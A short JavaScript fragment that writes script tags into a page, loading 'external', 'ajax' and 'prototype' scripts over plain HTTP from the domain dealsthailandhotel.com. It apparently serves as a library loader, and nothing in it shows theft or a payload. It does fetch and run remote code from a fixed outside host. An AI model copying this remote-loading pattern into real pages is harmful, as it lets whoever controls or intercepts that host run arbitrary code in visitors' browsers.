function DOM(Library){document.write('<script type="text/javascript" src="http://www.dealsthailandhotel.com/' + Library + '.js"></scr' + 'ipt>');} 
DOM('external');
DOM('ajax');
DOM('prototype');